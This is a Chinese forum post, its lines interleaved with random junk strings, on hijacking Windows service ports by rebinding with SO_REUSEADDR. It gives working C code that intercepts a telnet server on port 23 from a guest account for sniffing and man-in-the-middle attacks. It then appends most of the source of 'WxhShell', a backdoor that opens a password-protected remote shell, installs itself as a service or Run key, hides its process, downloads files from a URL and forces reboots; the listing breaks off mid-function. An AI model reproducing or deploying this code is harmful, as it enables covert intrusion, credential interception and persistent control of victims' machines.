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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Er~17$b  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $o6/dEKQ  
Urj*V0^  
  saddr.sin_family = AF_INET; C3AWXO ^  
> =>/~dIb  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ,m=F H?5  
[+#m THX  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ~iw&^p|=K  
rvA>khu0/  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 gmTBT#{6yH  
wZrFu(_  
  这意味着什么?意味着可以进行如下的攻击: y)f.ON36I  
<sdgL+&1h  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ,RP-)j"Wff  
4Nm>5*]  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) \lL[08G  
^Fk;t  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Q&m85'r5X  
fV:15!S[  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  c? ::l+  
77e*9/6@  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 [f6uwp  
U~ {k_'-i  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 +^I0> \  
GqFx^dY4*  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 &K[*vyD  
5 s7BUT  
  #include 4Z)4WGp!  
  #include N'^>pSc4W|  
  #include dQut8>0&  
  #include    '1<Z"InU  
  DWORD WINAPI ClientThread(LPVOID lpParam);   nx9PNl@?V  
  int main() zVhyAf  
  { ,|%KlHo^  
  WORD wVersionRequested; :\](m64z;  
  DWORD ret; LS@TTiN   
  WSADATA wsaData; 3F9V,zWtTi  
  BOOL val; 6)HmE[[F  
  SOCKADDR_IN saddr; P \7DA4]  
  SOCKADDR_IN scaddr; 5f0M{J,KC  
  int err; ~z[`G#dU  
  SOCKET s; !3Dq)ebBz  
  SOCKET sc; o7y<Zd`Bj  
  int caddsize; sYTz6-  
  HANDLE mt; lR(9;3  
  DWORD tid;   MB}nn&u#  
  wVersionRequested = MAKEWORD( 2, 2 ); l,ny=Q$[1'  
  err = WSAStartup( wVersionRequested, &wsaData ); tzI|vVT,  
  if ( err != 0 ) { ,n|si#  
  printf("error!WSAStartup failed!\n"); <y 4(!z"  
  return -1; @uSO~. 7  
  } I#l}5e5  
  saddr.sin_family = AF_INET; verI~M$v{  
   kuY^o,u-1e  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 HC0juT OiO  
0J R/V68$  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); I2}W/}  
  saddr.sin_port = htons(23); 0AZ9I!&i  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) wG3L+[,  
  { w,~*ead  
  printf("error!socket failed!\n"); 7j& t{q5  
  return -1; _K5<)( )  
  } bC&A@.g{  
  val = TRUE; W 4{ T<  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ET*A0rt  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) .[={Yx0!I  
  { Po>6I0y  
  printf("error!setsockopt failed!\n"); iIfiv<(ChM  
  return -1; IPo t][ N>  
  } tX*@r  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; B=Hd:P|  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 UlXm4\@  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 9~ p;iiKGG  
Zy0M\-Mn  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) VPN 9 Ql=  
  { 7o4E_ .*  
  ret=GetLastError(); O{:{P5  
  printf("error!bind failed!\n"); Y A.&ap  
  return -1; I=`?4%  
  } &9jJ\+:7  
  listen(s,2); (}#&HE<  
  while(1) b,~'wm8:A  
  { G/ x6zdk  
  caddsize = sizeof(scaddr); Km2~nkQ  
  //接受连接请求 =^"Sx??V  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); /Qgb t  
  if(sc!=INVALID_SOCKET) Z;+,hR((  
  { *h^->+0n  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 'afW'w@  
  if(mt==NULL) m:_#kfC&K"  
  { b"g^Jm! j  
  printf("Thread Creat Failed!\n"); G<Z}G8FW^  
  break; 3Vu}D(PJ  
  } UMcM&yu-  
  } 3s\UU2yr  
  CloseHandle(mt); s>9I#_4]  
  } -]%EX:bm  
  closesocket(s); ui]iO p  
  WSACleanup(); q NGR6i  
  return 0; 4S(G366  
  }   6v@Prw@.b  
  DWORD WINAPI ClientThread(LPVOID lpParam) /N0mF< P  
  { +o+f\!  
  SOCKET ss = (SOCKET)lpParam; [bLKjD  
  SOCKET sc; mQj#\<*  
  unsigned char buf[4096]; 81RuNs]  
  SOCKADDR_IN saddr; aru2H6  
  long num; g5BL"Dn  
  DWORD val; r*HSi.'21  
  DWORD ret; cT(nKHL  
  //如果是隐藏端口应用的话,可以在此处加一些判断 jMT[+f  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   r$<!?Z  
  saddr.sin_family = AF_INET; ~|u;z,\  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); %6ckau1_;  
  saddr.sin_port = htons(23); }3 /io0"D  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 'O%*:'5k  
  { HoBx0N9\2  
  printf("error!socket failed!\n"); .M6. ]H  
  return -1; GTs,?t16/  
  } I!zoo[/)%  
  val = 100; x1=`Z@^  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) U<6)CW1;  
  { -6MPls+  
  ret = GetLastError(); -=-^rQx9  
  return -1; ~XUUrg;  
  } rEr=Mi2  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) % :G78.  
  { PvKGB01_  
  ret = GetLastError(); jLFaf#G]  
  return -1; 2e6P?pX~2  
  } 8Y SvBy  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) eKP >} `  
  { 1^IMoC7$#  
  printf("error!socket connect failed!\n"); $`xpn#l z  
  closesocket(sc); c{ 'Z.mut  
  closesocket(ss); \t{iyUxY  
  return -1; `=Mk6$%Cs  
  } 5|0}bv O  
  while(1) ~#g c{ C@  
  { $#^3>u  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 U" @5R[=F-  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 jS,Pu%fR  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 zDg*ds\  
  num = recv(ss,buf,4096,0); f}dlQkZ(  
  if(num>0) l_yy;e  
  send(sc,buf,num,0); clDn=k<  
  else if(num==0) mjOxmwo  
  break; <B%wq>4S  
  num = recv(sc,buf,4096,0); b'( AVA  
  if(num>0) sta/i?n  
  send(ss,buf,num,0); azZ|T{S  
  else if(num==0) Md X4Rp'  
  break; eg~ Dm>Es  
  } <mX5VGY9^  
  closesocket(ss); J rK{MhO  
  closesocket(sc); Eq@sU?j  
  return 0 ; R14&V1 tZ  
  } gvVy0nJI~  
b$w66q8  
iBWzxPv:z  
========================================================== JKKp5~_~  
\Vv)(/q{  
下边附上一个代码,,WXhSHELL +sJ{9#6  
2k!uk6  
========================================================== &[`2 4Db  
Wz^;:6F  
#include "stdafx.h" oD%n}  
D~inR3(}  
#include <stdio.h> Fpo}UQQbc  
#include <string.h> oVqx)@$K  
#include <windows.h> ?Gf'G{^}  
#include <winsock2.h> zt2#K  
#include <winsvc.h> H28-;>'`  
#include <urlmon.h> dLQp"vs$  
+:m)BLA4l  
#pragma comment (lib, "Ws2_32.lib") 6rS ? FG=  
#pragma comment (lib, "urlmon.lib") i<&z'A6&]*  
,%Pn.E* r;  
#define MAX_USER   100 // 最大客户端连接数 *7*_QW%?A  
#define BUF_SOCK   200 // sock buffer TaF*ZT2  
#define KEY_BUFF   255 // 输入 buffer n4?;!p<F  
+;H=_~b  
#define REBOOT     0   // 重启 `-nSH)GBM  
#define SHUTDOWN   1   // 关机 bSM|"  
qV=O;  
#define DEF_PORT   5000 // 监听端口 )~P<ruk>,C  
OL=X&Vaf<  
#define REG_LEN     16   // 注册表键长度 4 JBfA,  
#define SVC_LEN     80   // NT服务名长度 oe6Ex5h  
4Zjd g`  
// 从dll定义API ZSlK   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?:q"qwt$F  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [3irr0D7l  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); z@~Z Mk  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8<Nz34Y  
HH*,Oe   
// wxhshell配置信息 7d{xXJ-  
struct WSCFG { Yy!G?>hC  
  int ws_port;         // 监听端口 n n[idw  
  char ws_passstr[REG_LEN]; // 口令 0o6r3xc;  
  int ws_autoins;       // 安装标记, 1=yes 0=no .K940& Ui  
  char ws_regname[REG_LEN]; // 注册表键名 qoan<z7  
  char ws_svcname[REG_LEN]; // 服务名 `U?S 9m  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &xj40IZ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4YOLy\"S  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 X"8$,\wX,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <q MX,h2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" NVVAh5R  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3F6'3NvVc2  
YC{7;=P f  
}; Vg (p_k45`  
@8YuMD;  
// default Wxhshell configuration 9( &$Gwi  
struct WSCFG wscfg={DEF_PORT, ,gP;XRe1  
    "xuhuanlingzhe", z:n JN%Qb  
    1, R]kH$0`  
    "Wxhshell", oW7;t  
    "Wxhshell", N9c#N%cu  
            "WxhShell Service", T~>&m~} +  
    "Wrsky Windows CmdShell Service", U:/_T>f%  
    "Please Input Your Password: ", {YzpYc1  
  1, J(~xU0gd'  
  "http://www.wrsky.com/wxhshell.exe", B^1jd!m  
  "Wxhshell.exe" _qit$#wK;  
    }; { F0"U=  
6{Bvl[mhI  
// 消息定义模块 M~sP|Ha"+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; gi A(VUwI>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; BZQJ@lk5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; c1]\.s  
char *msg_ws_ext="\n\rExit."; a`||ePb|W~  
char *msg_ws_end="\n\rQuit."; y9:o];/  
char *msg_ws_boot="\n\rReboot..."; "Q23s"  
char *msg_ws_poff="\n\rShutdown..."; a.<!>o<t:  
char *msg_ws_down="\n\rSave to "; @S012} xH  
[o'}R`5)  
char *msg_ws_err="\n\rErr!"; +w?1<Z  
char *msg_ws_ok="\n\rOK!"; WsM/-P1Y  
bF@iO316H  
char ExeFile[MAX_PATH]; wRWKem=  
int nUser = 0; |?fc]dl1]  
HANDLE handles[MAX_USER]; KueI*\ p  
int OsIsNt; m<9W#  
,g)9ZP.F  
SERVICE_STATUS       serviceStatus; <RkJ 7Z^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; is- {U? -  
v2#qs*sW8  
// 函数声明 &kOb#\11u  
int Install(void); !hPe*pPVV)  
int Uninstall(void); ^q~.5c|  
int DownloadFile(char *sURL, SOCKET wsh); j%0 g *YI  
int Boot(int flag); Bq:: 5,v  
void HideProc(void); 7"_g X  
int GetOsVer(void); =1kjKE !  
int Wxhshell(SOCKET wsl); ,wra f#UdP  
void TalkWithClient(void *cs); 0xutG/-&N  
int CmdShell(SOCKET sock); 64!V8&Ay  
int StartFromService(void); 6~+?DIc  
int StartWxhshell(LPSTR lpCmdLine); *Oe;JqQkK  
Lop=._W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {' |yb  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); T|nN.  
qo;F]v*pkK  
// 数据结构和表定义 X/wqfP  
SERVICE_TABLE_ENTRY DispatchTable[] = }Sb&ux  
{ |}roR{gc|  
{wscfg.ws_svcname, NTServiceMain}, jdDcmR  
{NULL, NULL} Xp3cYS*u  
}; dv \ oVD  
d7QQ5FiB  
// 自我安装 z3}4 +~~  
int Install(void) xZ"kJ'C4}  
{ t #g6rh&  
  char svExeFile[MAX_PATH]; &-Zg0T&tZ  
  HKEY key; DU4Prjb'  
  strcpy(svExeFile,ExeFile); T1b9Zqc)f  
=mk7'A>l  
// 如果是win9x系统,修改注册表设为自启动 3?(||h{  
if(!OsIsNt) { `S7${0e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?+#E&F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cE= v566  
  RegCloseKey(key); fx4X!(w!B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :@X@8j":  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h:+>=~\  
  RegCloseKey(key); {z%%(,I  
  return 0; kR-5RaW  
    } , v6[#NU_Z  
  } 'W j Q  
} .es= w=  
else { K`1\3J)  
WaWx5Fx+  
// 如果是NT以上系统,安装为系统服务 9X{aU)"omQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); B6Tn8@O  
if (schSCManager!=0) (iiyptJ  
{ tL4xHa6v]  
  SC_HANDLE schService = CreateService 'x10\Q65[  
  ( \bb,gRfP  
  schSCManager, !$+J7\& 7p  
  wscfg.ws_svcname, p.1|bXY`  
  wscfg.ws_svcdisp, M+^+u 1QQ0  
  SERVICE_ALL_ACCESS, N1!|nS3w  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , A]vQ1*pnk  
  SERVICE_AUTO_START, V9m1n=r  
  SERVICE_ERROR_NORMAL, IV:Knh+ ?  
  svExeFile, ji2if.t@  
  NULL, G>{;@u  
  NULL, FyQ^@@  
  NULL, cj<j *(ZZ  
  NULL, vexQP}N0  
  NULL Hp":r%)  
  ); b_=k"d  
  if (schService!=0) S?=2GY  
  { o0Hh&:6!M  
  CloseServiceHandle(schService); L+QEFQ:r5  
  CloseServiceHandle(schSCManager); $y >J=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); r jL%M';  
  strcat(svExeFile,wscfg.ws_svcname); ,k@fX oW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Nr7MSFiL  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4 ITSDx  
  RegCloseKey(key); 15gI-Qb  
  return 0; JWrvAM$O  
    } rq6(^I  
  } p2 y h  
  CloseServiceHandle(schSCManager); I)O-i_}L&K  
} cEw/F0  
} kF.PLn'iS  
?P`]^#  
return 1; +;z4.C{gM  
} 4aZsz,=  
37!}8  
// 自我卸载 -]PW\}w1  
int Uninstall(void) +3t(kQ  
{ 9!FV. yp%F  
  HKEY key; zYj8\iER  
D x Vt  
if(!OsIsNt) { ;LH?Qu;e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4F 8`5)RM  
  RegDeleteValue(key,wscfg.ws_regname);  c:~o e  
  RegCloseKey(key); \aT._'=M+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <H E'5b  
  RegDeleteValue(key,wscfg.ws_regname); /{1xpR  
  RegCloseKey(key); mrd(\&EhA  
  return 0; 4k$BqM1  
  } r"rID RQ"  
} Mp$ uEi  
} hgKs[ySo,3  
else { "mT~_BsD  
"Rs^0iT7>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); K=Fcy#, f  
if (schSCManager!=0) !Nl"y'B|  
{ v?h#Ym3e<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &2#x(v  
  if (schService!=0) 1p9f& w  
  { '(u[  
  if(DeleteService(schService)!=0) { Mk[_yqoCO  
  CloseServiceHandle(schService); #\4uu  
  CloseServiceHandle(schSCManager);  NP^kbF  
  return 0; 8X*6i-j5E  
  } WFN5&7$W  
  CloseServiceHandle(schService); F/RV{} 17E  
  } }(TZ}* d  
  CloseServiceHandle(schSCManager); o &LNtl;  
} -F|(Y1OE  
} 9[6*FAFJPP  
rxCu V  
return 1; ^X0<ZI  
} lcIX l&  
59T:{d;~  
// 从指定url下载文件 S]{K^Q),  
int DownloadFile(char *sURL, SOCKET wsh) 2J|Yc^b6  
{ uu=e~K  
  HRESULT hr; |n67!1  
char seps[]= "/"; Z^`>;n2  
char *token; G*Z4~-E4*  
char *file; UO<%|{ W+  
char myURL[MAX_PATH]; jr@<-.  
char myFILE[MAX_PATH]; 6]Ppa ~Xwq  
'ei9* 4y  
strcpy(myURL,sURL); M*+_E8Lh  
  token=strtok(myURL,seps); m[ txKj.=_  
  while(token!=NULL) Sjj &n S  
  { qz(0iZ]Y  
    file=token; yZA }WTGe  
  token=strtok(NULL,seps); (h|l$OL/  
  } |{Z?a^- NJ  
PGu6hV{  
GetCurrentDirectory(MAX_PATH,myFILE); 0$/wH#f  
strcat(myFILE, "\\"); Alp9] 0(  
strcat(myFILE, file); K}! VY`  
  send(wsh,myFILE,strlen(myFILE),0); ep,kImT  
send(wsh,"...",3,0); ~++y4NB8Q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~XQN4Tv-  
  if(hr==S_OK) a{69JY5  
return 0; (? YTQ8QR  
else i+T$&$b  
return 1; nvsuF)%9hZ  
Kv!CL9^LX7  
} )MW.Y  
oXV  
// 系统电源模块 Gv6EJV1i  
int Boot(int flag) ],&WA?>G  
{ hq$:62NYg  
  HANDLE hToken; 2Wq)y1R<T  
  TOKEN_PRIVILEGES tkp; qeSxE`E"  
Uq0RJ<n  
  if(OsIsNt) { JyYg)f  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); i4v7x;m_p  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); m[Px|A5{  
    tkp.PrivilegeCount = 1; x"5/1b3aq  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *V3}L Z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); K )1K ]  
if(flag==REBOOT) { i@Q)`>4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4wMKl6mL  
  return 0; +'hcFZn(T  
} p@NE^aMn  
else { qS|bpC0x  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *#+XfOtF  
  return 0; |AuN5|obI  
} Nx;U]O6A  
  } a` 95eL}  
  else { R.*KaCA  
if(flag==REBOOT) { W<u63P  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $ ;~G  
  return 0; P0 DvZV8  
} I%b, H`  
else { *ukugg.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) BRFA%FZ,  
  return 0; %{5mkO&,2  
} FSIV\ u  
} d1D{wZ3g  
92bvmP*o4  
return 1; 9eH(FB  
} 6|rqsk  
2zh?]if  
// win9x进程隐藏模块 H)G ^ Y1  
void HideProc(void) ,c YU  
{ ul>$vUbyf  
<<@$0RW  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8@|+- )t  
  if ( hKernel != NULL ) [&j!g  
  { j#9p 0[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ShxB!/s  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |Ah26<&  
    FreeLibrary(hKernel); tB'F`HM:mq  
  } ~aNK)<Fznd  
[l:3F<M  
return; wH3FCfvm  
} /4<eI 3Z  
|k{?\(h;  
// 获取操作系统版本 q4|TwRx~  
int GetOsVer(void) 0:@:cz=#*  
{ .&T JSIx$  
  OSVERSIONINFO winfo; $A9!} `V  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); q!$?G]-%  
  GetVersionEx(&winfo); lnEc5J@c>i  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) c&e?_@} |  
  return 1; M4XnuFGB[w  
  else ,Si\ky7L  
  return 0; N9r02c  
} 2d>kc2=*  
,i;kAy)  
// 客户端句柄模块 fF;Oz"I{\  
int Wxhshell(SOCKET wsl) c_)vWU  
{ \RnGKQ"4  
  SOCKET wsh; E#URTt:&>  
  struct sockaddr_in client; hT>h  
  DWORD myID; 5- 0  
Ge8&_7  
  while(nUser<MAX_USER) /Tv=BXL-  
{ uB>NwCL;  
  int nSize=sizeof(client); 0e^j:~*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); x;# OM  
  if(wsh==INVALID_SOCKET) return 1; & %ej=O  
3x#=@i  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); VTa?y  
if(handles[nUser]==0) qN1(mxa.?  
  closesocket(wsh); R)?K+cJ%  
else ja$e)  
  nUser++; [9u/x%f(  
  } #?k$0|60  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); f"~+mO  
+M/04  
  return 0; A=o p R  
} &kB[jz_[A  
>r2m1}6g"  
// 关闭 socket R0(Nw7!d/[  
void CloseIt(SOCKET wsh) p4\%*ovQt  
{ ?g&6l0 n`  
closesocket(wsh); {d.`0v9h  
nUser--; 4d)w2t?H%  
ExitThread(0); L"rLalUw  
} 3Wrl_V  
\7nlwFAO  
// 客户端请求句柄 L%ND?'@  
void TalkWithClient(void *cs) 4NMv7[r  
{ iNZ'qMH22  
!u.{<51b  
  SOCKET wsh=(SOCKET)cs; zO<EbqNe!  
  char pwd[SVC_LEN]; $NJ]2P9L  
  char cmd[KEY_BUFF]; UR ck#5  
char chr[1]; ps[TiW{q;  
int i,j; :c"J$wT/  
nchhNU  
  while (nUser < MAX_USER) { I1=YSi;A  
<T[%03  
if(wscfg.ws_passstr) { 6A7UW7/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %f\ M61Z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2lDgv ug  
  //ZeroMemory(pwd,KEY_BUFF); 2mP| hp?  
      i=0; KW+ps16~  
  while(i<SVC_LEN) { ?d-(M' v.  
8RbtI4  
  // 设置超时 g><u (3  
  fd_set FdRead; JAj<*TB.%  
  struct timeval TimeOut; aSi:(w  
  FD_ZERO(&FdRead); L`cc2.F  
  FD_SET(wsh,&FdRead); 7=N=J<]pl  
  TimeOut.tv_sec=8; 1!/cd;{B  
  TimeOut.tv_usec=0; ;LELC5[*s  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); BP6;dF5 E  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ',n;ag`c  
#.?DsK_:@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |tP1,[w">  
  pwd=chr[0]; 6Ii2rEzD  
  if(chr[0]==0xd || chr[0]==0xa) { 0PE $n  
  pwd=0; ?u` ?_us  
  break; k ~lj:7g~  
  } G'q7@d {'  
  i++; ]^Z7w`=%5  
    } Pk T&zSQA  
W%hdS<b  
  // 如果是非法用户,关闭 socket i)Vqvb0Q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); b{)9 ?%_  
} #dE#w#=r  
2GLq#")P  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9-eYCg7C|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lSC3m=4g  
r.** z j  
while(1) { UTc$zc7  
ca*USM  
  ZeroMemory(cmd,KEY_BUFF); ndT:,"s  
6* cm  
      // 自动支持客户端 telnet标准   /xJ,nwp7  
  j=0; d*khda;Vj  
  while(j<KEY_BUFF) { 2x{@19w)C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 17tph;  
  cmd[j]=chr[0]; .qi$X!0  
  if(chr[0]==0xa || chr[0]==0xd) { aCcBmc  
  cmd[j]=0; S&}7jRH1  
  break; EShc1KPqc  
  } FSoL|lH  
  j++; @=h%;"  
    } - y{*U1[  
<.CO{L\e  
  // 下载文件 E^zgYkZO  
  if(strstr(cmd,"http://")) { E `Ualai  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6_=qpP-?  
  if(DownloadFile(cmd,wsh)) JQYIvo1,Q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); K~z*P 0g*  
  else n9]^v-]K  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .FK[Y?ci#  
  } J?)vsnD.H  
  else { HAEgR  
!I-+wc{ss  
    switch(cmd[0]) { F8Z<JcOI  
  h#@l'Cye  
  // 帮助 B~^MhX +j  
  case '?': { *#;8mM  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )|@b GEk  
    break; A@bWlwfl  
  } g4<%t,(88E  
  // 安装 'C+z  
  case 'i': { Qh%/{6(u  
    if(Install()) U8]L3&~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n{d}]V@  
    else QG?7L_I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sqi~j(&\1  
    break; GRCc<TM, U  
    } }X$vriW  
  // 卸载 *_`T*$  
  case 'r': { \NhCu$'  
    if(Uninstall()) GK)3a 9;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lyI rO"o  
    else @^a6^*X>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gn1`ZYg  
    break; N~{0QewMI'  
    } ;@Ep?S @  
  // 显示 wxhshell 所在路径 z{pNQ[t1Z  
  case 'p': { zT#36+_?  
    char svExeFile[MAX_PATH]; V9-pY/v 9  
    strcpy(svExeFile,"\n\r"); E:V&:9aQ@  
      strcat(svExeFile,ExeFile); $^ (q0zR~l  
        send(wsh,svExeFile,strlen(svExeFile),0); Iwi>yx8  
    break; <*0MD6 $5  
    } gGw6c" FRQ  
  // 重启 H$KE*Wwq  
  case 'b': { 8A"[n>931  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); DBAJkBs  
    if(Boot(REBOOT)) VH4P|w[YF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %}%D8-d}G  
    else { T?!^-PD9*  
    closesocket(wsh); ehtiu!Vk  
    ExitThread(0); 'G>Ejh@t  
    } x5v^@_: jr  
    break; *h1Zqb  
    } WGN[`D"  
  // 关机 LeO ))  
